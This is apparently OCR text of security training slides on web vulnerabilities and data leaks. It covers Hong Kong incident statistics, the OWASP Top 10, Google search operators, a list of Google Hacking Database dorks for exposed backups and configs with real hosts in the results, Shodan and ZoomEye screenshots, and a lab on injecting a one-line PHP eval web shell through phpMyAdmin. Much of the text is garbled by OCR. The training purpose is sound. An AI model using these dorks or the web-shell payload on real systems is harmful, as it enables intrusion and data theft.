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Common Web Vulnerabilities
and Data Leak Identification




% Hong Kong Computer
Emergency Response Team . : —
Coordination Centre E °<g O\ Incident Reporting —

HKCERT Z#SHRSTHBADL

18,000 18,000
16,108
16,000 16,000
14,000 14,000
12,000 12,000
10,000 10000 g potnet (Bot)
= Phishing
8,000 8000
m Defacement
6,000 6,000
4,000 4.000
2,000 2,000

(1]
2022Q1  2022Q2 2022Q3 2022Q4  2023Q1 2023Q2

2022Q2  2022Q3 2023Q1  2023Q2 AT
quarter
Defacement 18 13 249 233 69  -70.4%
Phishing 5,033 7,141 13,574 2,804 1120 -60.1%
Botnet (Bots) 3,642 3,684 2,285 2,583 2,227  13.8%
Total ! 8,793 10938 16,108 5,620 3416  -39.2%




OWASP Top 10 (2021) \/TC

2021

7 A01:2021-Broken Access Control
~» A02:2021-Cryptographic Failures
“» A03:2021-Injection
~) A04:2021-Insecure Design
“» A05:2021-Security Misconfiguration
> A06:2021-Vulnerable and Outdated Components
" A07:2021-Identification and Authentication Failures
v} A08:2021-Software and Data Integrity Failures
~> A09:2021-Security Logging and Monitoring Failures*
~) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey
https://owasp.org/www-project-top-ten/
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Agenda ‘/ TC

Hacking with Search Engines

Data Leaking Market

In-Service Training

Hands-On Lab (Onsite Only)
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Scanning

You are here! Reconnaissance
Map the network, catalog

accessible hosts and
identify exposed services.

Scanning

Exploitation

Post exploitation




Search Command ‘/TC

Search engine commands (K EF =I5

Complex search queries (ZEELFF55)

List : https://ahrefs.com/blog/google-advanced-search-operators/

L Q

All News Images Videos Maps More Settings Tools

http://index-of.co.uk/Gobgle/Google- Hackmg by-Ali-Jahangiri.pdf
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Command : filetype

Search for any kind of file extensions(gl[f£:4) ,
° e.g. :Excel = filetype: xlsx

Stored passwords in a single file on public internet
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Search : password filetype:xlsx ‘/Tc

{=
L

password filetype:xlsx
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£123,600 EIRBER (0.37 1)

¥ wikileaks.org » sony » docs » bonus » Password » radh...  x.s ¥EiEEEE

radha passwords.xlsx - WikiLeaks
26, spe support password — BRaSucus. 27, Techline no——791243265. 28. 29,
http://screenland.spe.sony.com/WebApplications/bluebook/ADMIN/, Blue book to ...
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Command : intext VTC

intext: useful to locate pages that contain certain characters or strings inside their text (X8~

F PR ETR)

Version number / software / feature name

YAV




Command :intext:"index of" intext:..bak intext:confi‘/‘rc

Go C :gle intext:"index of” intext:..bak intext:config 4 Q
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© host76.smartzap.com » system» config » FZEEEE
Index of /system/application_24122010/config

Index of /system/application_24122010/config. Parent Directory ... config.php.bak
.crypted_nigmut@protonmail_ch - config.php.crypted_nigmut@protonmail_ch ...

@ jamalenterprises.com » config v FIFFEEEE
Index of /config - Jamal Enterprises

Index of /config ... config.inc.php, 2018-03-16 03:50, 5§53. config.inc.php.bak, 2018-01-11 07:27, 560.
config.php, 2016-05-18 07:32, 481. config.php.bak ...

@ 58.26.53.52 » Backup » ebayar.bak » config v &3
Index of /Backup/ebayar.bak/config

Index of /Backup/ebayar.bak/config. Parent Directory - app.php - auth.php - broadcasting.php -
cache.php - database.php - datatables.php - filesystems.php - mail.
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Command —site : Filter for limiting the searching scope by the
domain

https://medium.com/@cuncis/google-dork-cheat-sheet-for-
finding-hidden-admin-panels-379e3414d486

intitle:”admin login” site:example.com — This searches for pages with “admin login” in the title of the page on a specific website
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https://www.exploit-db.com/google-hacking-database

Google Hacking Database ‘/Tc

Show | 15 v

Date Added  Dork

2023-10-16 intitle:"Index of" inurl:/backup/ "wp-config”
2023-10-02 intitle:"index of" "backup.zip"
2023-05-26 intitle:"Index of" inurl:/backup/ "admin.zip"
2023-05-26 Re: "index of /backup.sq|
2023-05-05 inurl:"wp-content" intitle:"index.of" intext:backup”
2023-04-20 intext:"Index of" intext:"backup.tar"
2023-02-22 inurl:backup filetype:sql
2022-06-16 intitle:index of /backup private
2022-06-15 =?UTF-8?Q?=E2=80=9CIndex_of_/backup=E2=80=9D"?=
2021-11-08 intitle:"database" "backup” filetype:sql
2021-10-28 intitle:"index of" "/backup/sql"
2021-10-13 intitle: "index of" "admin" "/backup”
2021-10-06 intitle: "index of backup.xml" E
2021-10-06 intitle: "index of backup.php" o E
2021-05-21 intitle:"Server Backup Manager SE" ‘_——: — j N
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ttps://www.shodan.io/

‘.. SHODAN Explore Pricing &2 hong kong

More...
61.10.155.35 2021-10-05T06:26:15 303327
©m61-10-155-35.hkcable.co

OB PROBLICT il 220 FTP.Hnng Kong Se:v?r ‘

- e i Paciic Network 530 Login or password incorrect!

nginx 48 Information Centre

3 Hong Kong, Hong Kong ABOR ADAT ALLO APPE AUTH CDUP  CLNT  CWD
Apache httpd 43 DELE EPRT EPSV FEAT HASH HELP LIST  MDTM
MFMT MKD  MLSD MLST MODE NLST NOOP  NOP

L4D - Co-op - Normal 15 e e e
Microsoft IIS httpd 7
Alt-N MDaemon mail server 4

61.244.50.169 202110.05T03:50.32 519224
More... 061244050169 static ctinets. c

com

o i i OPAL COSMETICS (HONG KONG) LTD - PPS@e2061649- BE100H(2)

TOP OPERATING SYSTEMS Network Ltd
Synology DiskStation Manager (DSM) E3 Hong Kong, Hong Kong GseovicaseonTFication
6.2.4-25556 i
u :

Synology DiskStation Manager (DSM) 7.0- S TN~
41890 7
Synology DiskStation Manager (DSM) 14.198.74.30 7 it e i =
6.2.3-25426 5 014198074030.clinets.com AR 1 -

Hong Kong Broadband
Synology DiskStation Manager (DSM) Nafum Ik ?c : text/htnl; charset-utf-8 :

frontend_lang=en_US; Path=/
6.2.2-24922 4 ] = L
S visitor_uuid= 41 fabSc; Expires-Hed, @5-0ct-2022 €2:37:56 GMT; Path=/ -~

aTs 1 i session_id=cd15dbbabf2e37d25e0c1ab11185cad654659e9a; Expires=Hon, 63-Jan-2022 62 -
More...

400 Bad Request [/ 2021-10-05T02:35:32 786302

154.204.27.30 HTTP/1.1 48@ Bad Request

Zcloudme Limited

Content-Type: text/html
E3 Hong Kong, Hong Kong Connection: close
mientlength; 271
Date: Tue, ©5 0ct 2021 10:35:32 GHT
X-Via: 1.1 Hong Kong international (random:415020 cache/3.B.




ZoomEye

ZoomEy®

https://ivre.rocks/#i_n-a-nutshell

G«nownsee | ZoomEye

Result Report

hong kong

156.227.179.172
53/domain IDC

=
POWER LINE (HK) CO, LIMITED
cloudinnovation.org

AS132839

156.242.235.68
53/domain IDC

-

Banner

\x00\x00\x83 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

dig baidu.com response: null
dig google.com response:

53 ANSWER SECTION:

google.com. 93.46.8.90 60 m A

dig nonexistent.domain response: null

Banner

\x00\x00\x83 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

dic haidi com recnancar nnll

SEARCH TYPE
Devices

Ipvd

Ipv6

Websites

YEAR
2021
2020
2019
2018

86,364,847 v
69,809,492
16,555,355

22,63

67,294,201

20,376,722

11,687,877




Black Market
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https://www.ransomlook.io/leaks

vre VIC@Work b3 @ ElectronicTel X ® WhatsApp x &) Goods x| &) Looking for x| O Signinto G b3 O GitHub: Let X @ % Ranson X @ 10101051 x| +
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Solution? ‘/TC

Access control to the System management page / the page content (Server settings /
Application-level controls)

Using VPN / SSL VPN to access internal resource (Intranet)

Apply 2-Factor Authentication

Also....
Keeps update the system

Enable HTTPS
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Cybersecurity Centre \/Tc

~ Cyber Range
» Penetration testing Lab

» Malware Analysis Lab




Facilities

CyberRange Purple Team Training
i System

Malware Analysis and Reverse
Engineering Tools

Hardware Security
Training Kit

YAV







The Lab for Today \/TC

1. Scan the targeted hosts for available ports

2. Discover the services running on the server

3. Find the vulnerabilities on the running web pages

4. Injection the backdoor by using the vulnerabilities found

5. Accessing to the backdoor and run the malicious commands




Certificate in Web Application Penetration Testin?/‘rc

Certificate in Web Application Penetration Testing HE®

IVE - Information Technology

34 4

[ A
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Overview )
Programme Code IT524055Q QF Level 4
Subject Area Information Technology QF Credits 30
Programme Type Certificate QF Registration No. 22/000203/L4
Offering Institution IVE - Information Technology QF Registration 2022.09.01-2026.08.31
Contact Hours 60 Valxlibennd
Duration 60 Hour(s)

https://cpeg:tc_{ﬁ LHHWE
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Web Shell VTC

A Web shell is a script that can be uploaded to a web server that
enables remote administration of the machine. A web shell can be
written in any language that the target web server supports.

. N = ——— — —
https://simple.wikipedia.org 1~|



Using the features (weakness) of Accessing the injected backdoor p /
PHPMyAdmin to inject the PHP codes run malicious commands

into the webserver.

SrEnE 1V proinson
= : (€ ® | localhost/shellph p
« BT70-0 (1 Sit, ZHEE 0.0000 ) S © lccibos/dalizip ¢
& R ————. INT v = & SQLBASICS UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- E
@ Load URL ([ httpy/localhost/shell.php
SELECT "<?php eval($_POST['123456'); 7>" i e
b Execute
Post data || Referrer 4 OxHEX &K %URL 3 4% BASEG) B Insert string fo rep
— — I — | [~ = .
SR 85T 0 G2 (30 | & 00 | gES=S Postdsta (abe=phpinfol;

+ IR
<?php eval(S_POST['123456']); 2>
<?php eval($_POST['1234567)); 7>
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